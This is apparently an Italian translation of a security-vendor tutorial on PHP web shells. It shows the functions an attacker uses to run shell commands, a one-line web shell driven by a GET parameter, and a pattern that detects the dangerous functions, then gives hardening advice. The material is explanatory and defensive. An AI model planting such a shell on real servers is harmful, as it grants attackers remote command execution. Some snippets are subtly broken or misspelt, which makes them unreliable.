Dubitinsider

for your information

Nella parte 1 di questa serie, abbiamo esaminato cos’è una web shell e perché un utente malintenzionato dovrebbe cercare di usarne una. Nella parte 2 di questa serie, vedremo alcuni esempi specifici di shell web sviluppate utilizzando il linguaggio di programmazione PHP.

Esistono shell Web per quasi tutti i linguaggi di programmazione web a cui puoi pensare. Abbiamo scelto di concentrarci su PHP perché è il linguaggio di programmazione più diffuso sul web.

Le web shell PHP non fanno altro che utilizzare funzioni PHP integrate per eseguire comandi. Le seguenti sono alcune delle funzioni più comuni utilizzate per eseguire comandi di shell in PHP.

Nota: Ai fini di questo articolo, abbiamo modificato il nostro file hosts e puntato il dominio www.example.com a un server di prova.

system ()

La funzionesystem() accetta il comando come parametro ed emette il risultato.

Il seguente esempio su una macchina Microsoft Windows eseguirà il comando dir per restituire un elenco di directory della directory in cui viene eseguito il file PHP.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

L’esecuzione del comando ls su una macchina Linux ottiene un risultato simile.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Altri comandi hanno lo stesso effetto.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

La funzioneexec() accetta un comando come parametro ma non emette il risultato. Se viene specificato un secondo parametro opzionale, il risultato verrà restituito come array. Altrimenti, solo l’ultima riga del risultato verrà mostrata se echeggiata.

<?php// Executes but returns nothingexec("ls -la");?>-->

Utilizzando echocon la funzione exec() verrà stampata solo l’ultima riga dell’output del comando.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Se viene specificato un secondo parametro, il risultato viene restituito in un array.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

La funzioneshell_exec()è simile aexec(), tuttavia, emette l’intero risultato come una stringa.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

La funzionepassthru() esegue un comando e restituisce l’output in formato raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

La funzione proc_open() può essere difficile da capire (è possibile trovare una descrizione dettagliata della funzione nei documenti PHP). Usando proc_open(), possiamo creare un gestore (processo) che verrà utilizzato per la comunicazione tra il nostro script e il programma che vogliamo eseguire.

Backticks

Sorprendentemente, non molti sviluppatori PHP ne sono a conoscenza, ma PHP eseguirà il contenuto di backticks (`) come comando di shell.

Nota: Il carattere backtick (`) non deve essere confuso con il carattere di citazione singola (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

In base a quanto sopra, la seguente è una shell web PHP nella sua forma più semplice.

<?php system($_GET);?>

Esso utilizza la funzione system() per eseguire comandi che vengono passati attraverso ‘cmd’ HTTP request GET parametro.

web shells image 2

Abbiamo stabilito che queste funzioni (e alcune altre) possono essere molto pericolose. Ciò che è ancora più pericoloso è che tutti questi comandi PHP integrati sono abilitati di default quando PHP è installato e la maggior parte degli amministratori di sistema non li disabilita.

Se non si è sicuri che siano abilitati sul sistema, quanto segue restituirà un elenco delle funzioni pericolose abilitate.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

In un’installazione predefinita, possiamo vedere che tutte le funzioni sopra menzionate sono abilitate.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Parte 1

Introduzione alla shell Web

Parte 2

Web Conchiglie 101 Utilizzando PHP

Parte 3

Mantenere il Web Conchiglie Sotto il Coperchio

Parte 4

shell Web in Azione

Parte 5

Rilevamento & Prevenzione

domande frequenti

Un web shell è una piccola applicazione che un utente malintenzionato viene eseguito sul server web. Possono quindi utilizzare questa applicazione per accedere in remoto al server ed eseguire comandi su di esso. Una shell web di per sé non è mai un attacco, è la conseguenza di un attacco di successo sul tuo sito web o applicazione web. Ciò significa che se hai una shell web, hai un problema molto più serio di cui preoccuparti.

Guarda come funziona una shell web nella pratica.

Gli hacker malintenzionati utilizzano le web shell per prendere il controllo di un server già compromesso. Innanzitutto, sfruttano una vulnerabilità nel tuo sito Web o applicazione Web come SQL injection, esecuzione di codice remoto o altri. Quindi, caricano una shell web sul tuo server web. D’ora in poi, possono eseguire qualsiasi comando che gli piace sul tuo server.

Vedere un esempio passo-passo di un attacco che porta alla compromissione completa del server.

È possibile rilevare le shell Web mediante l’analisi dei log. Tuttavia, non dovresti concentrarti sul rilevamento delle shell Web, ma invece dovresti rilevare le vulnerabilità che possono consentire agli aggressori di prendere il controllo del tuo server. Anche se rilevi una shell web, ciò non impedirà agli aggressori di riprendere il controllo se le vulnerabilità sono ancora presenti. Per rilevare le vulnerabilità web e imparare come eliminarle, utilizzare Acunetix.

Scopri cosa Acunetix Premium può fare per te.

Il modo migliore per proteggersi dalle web shell è quello di rendere impossibile utilizzarle sul proprio sistema. Puoi farlo indurendo il tuo server-rimuovendo tutte le autorizzazioni in eccesso, bloccando funzioni potenzialmente pericolose, limitando l’esecuzione di script nelle directory di caricamento, ecc. Tuttavia, è meglio proteggere il server da essere compromesso in primo luogo utilizzando regolarmente Acunetix.

Maggiori informazioni sul rilevamento e la protezione della shell web.

Ricevi gli ultimi contenuti sulla sicurezza web
nella tua casella di posta ogni settimana.

CONDIVIDI QUESTO POST

AUTORE
Agathoklis Prodromou
Sistemi Web Administrator/Developer

Akis ha lavorato nel settore IT da oltre 13 anni, sviluppando le sue abilità difensive prospettiva di un Amministratore di Sistema e Web Developer, ma anche da un’offensiva prospettiva di un penetration tester. Ha conseguito diverse certificazioni professionali relative all’hacking etico, alla digital forensics e alla risposta agli incidenti.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.